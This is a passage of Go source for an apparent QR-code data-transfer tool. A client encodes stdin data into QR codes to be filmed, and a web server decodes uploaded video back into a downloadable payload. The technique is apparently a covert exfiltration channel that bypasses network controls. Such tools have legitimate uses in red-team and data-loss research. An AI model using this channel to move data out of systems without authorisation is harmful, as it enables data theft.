168 | if len(buff) == 0 {
169 | //fmt.Println("[*] Retrieving image from file", match, "- No QR code/data, skipping.")
170 | } else {
171 | result := buff
172 | if len(result) > 0 {
173 | // in case two frames have same QR code and data
174 | duplicate := strings.Contains(payload, result)
175 | if duplicate == false {
176 | payload += result
177 | h := blake2b.Sum256([]byte(result))
178 | // fmt.Println("[*] Creating QRcode,\n DATA_HASH ="
179 | fmt.Println("[*] Retrieving data from detected QR code in", match, "\n DATA_HASH =", hex.EncodeToString(h[:])) //,
180 | // "\n Payload =", []byte(result))
181 | }
182 | }
183 | }
184 | }
185 |
186 | var result = true
187 | if len(payload) > 0 {
188 | decoded, _ := base64.StdEncoding.DecodeString(payload)
189 | decompressed, _ := smaz.Decode(nil, decoded)
190 | writePayloadFile(decompressed, retrieved)
191 | h := blake2b.Sum256(decompressed) // content
192 | fmt.Println("[*] Payload saved as ", retrieved, "\nPayload hash", hex.EncodeToString(h[:]))
193 | } else {
194 | log.Info("!!! No Payload retrieved from analyzed frames")
195 | result = false
196 | }
197 | return result
198 | }
199 |
200 | func webService() {
201 | gin.SetMode("release")
202 | //router := gin.Default()
203 | router := gin.New()
204 | router.Static("/process", "./public")
205 | router.GET("/payload", func(c *gin.Context) {
206 | // Source
207 | f, err := os.Open(retrieved)
208 | if err != nil {
209 | log.Fatal(err)
210 | }
211 | defer func(f *os.File) {
212 | err := f.Close()
213 | if err != nil {
214 |
215 | }
216 | }(f)
217 | //Seems these headers needed for some browsers (for example without this headers Chrome will download files as txt)
218 | c.Header("Content-Description", "File Transfer")
219 | c.Header("Content-Transfer-Encoding", "binary")
220 | c.Header("Content-Disposition", "attachment; filename="+retrieved)
221 | c.Header("Content-Type", "application/octet-stream")
222 | c.File(retrieved)
223 | })
224 | // upload will get a file and save it in ./Public
225 | // test: curl -F 'file=@./1.jpg' http://localhost:9999/upload
226 | router.POST("/upload", func(c *gin.Context) {
227 | // Source
228 | file, err := c.FormFile("file")
229 | if err != nil {
230 | c.String(http.StatusBadRequest, fmt.Sprintf("get form err: %s", err.Error()))
231 | return
232 | }
233 |
234 | if err := c.SaveUploadedFile(file, videoLocation); err != nil {
235 | c.String(http.StatusBadRequest, fmt.Sprintf("upload file err: %s", err.Error()))
236 | return
237 | }
238 | log.Println("\n[*] File received")
239 |
240 | // processing
241 | result := retrievePayload()
242 | myLink := "No payload retrieved."
243 | if result {
244 | myLink = "download payload"
245 | }
246 | _, err = c.Writer.Write([]byte(myLink))
247 | if err != nil {
248 | log.Fatal("Cannot serve back the payload file")
249 | }
250 | return
251 | })
252 | log.Info("Serving on port ", serverPort)
253 | router.Run(":" + serverPort)
254 | }
255 |
256 | func writePayloadFile(payload []byte, filename string) {
257 | err := os.Remove(filename)
258 | if err != nil {
259 | fmt.Println("\n[I] No previous payload file found")
260 | } else {
261 | fmt.Println("\n[I] Deleted previous payload file")
262 | }
263 | // Open a new file for writing only
264 | file, err := os.OpenFile(
265 | filename,
266 | os.O_WRONLY|os.O_TRUNC|os.O_CREATE,
267 | 0666,
268 | )
269 | if err != nil {
270 | log.Fatal(err)
271 | }
272 | defer func(file *os.File) {
273 | err := file.Close()
274 | if err != nil {
275 |
276 | }
277 | }(file)
278 |
279 | // Write bytes to file
280 | _, err = file.Write(payload)
281 | if err != nil {
282 | log.Fatal(err)
283 | }
284 | }
285 |
286 | //goland:noinspection ALL
287 | func main() {
288 | log.SetFormatter(&log.TextFormatter{
289 | DisableColors: false,
290 | FullTimestamp: true,
291 | })
292 | log.SetFormatter(&log.TextFormatter{})
293 | isServer := flag.Bool("server", false, "Server mode")
294 | isClient := flag.Bool("client", false, "client mode")
295 | isProcessing := flag.Bool("retrievePayload", false, "processing existing video only (debug mode)")
296 | flag.Parse()
297 |
298 | if *isProcessing {
299 | log.Println("Processing only - DEBUG MODE")
300 | _ = retrievePayload()
301 | } else if *isServer {
302 | // webService mode (retrieving data from video)
303 | fmt.Println("[*] Server mode: ON")
304 | webService()
305 | } else if *isClient {
306 | // Client mode (allowing video recording of QR codes)
307 | fmt.Println("[***] Client mode: ON")
308 | writeText, err := os.Open(os.DevNull)
309 | if err != nil {
310 | log.Fatalf("failed to open a null device: %s", err)
311 | }
312 | defer writeText.Close()
313 | io.WriteString(writeText, "Write Text")
314 |
315 | fmt.Println("[*] Loading payload from file")
316 | readText, err := ioutil.ReadAll(os.Stdin)
317 | h := blake2b.Sum256([]byte(readText))
318 | fmt.Println("Plaintext hash", hex.EncodeToString(h[:]))
319 | if err != nil {
320 | log.Fatalf("failed to open a null device: %s", err)
321 | }
322 | if len(readText) == 0 {
323 | log.Fatalf("No data read from stdin")
324 | }
325 | // Compress, encode, payload in chunks then display the QrCodes
326 | compressed := smaz.Encode(nil, readText)
327 | encoded := base64.StdEncoding.EncodeToString(compressed)
328 | chunks := payloadInChunks(encoded, QRCDataMaxBytes)
329 | fmt.Println("\n[*] Payload will be in", len(chunks), "chunks")
330 | fmt.Println("[***] Start your video, displaying in >", secsBeforeDisplay, "< seconds ****")
331 | fmt.Println()
332 | time.Sleep(secsBeforeDisplay * time.Second)
333 | // Create UI with basic HTML passed via data URI
334 | const html = `
335 |
336 |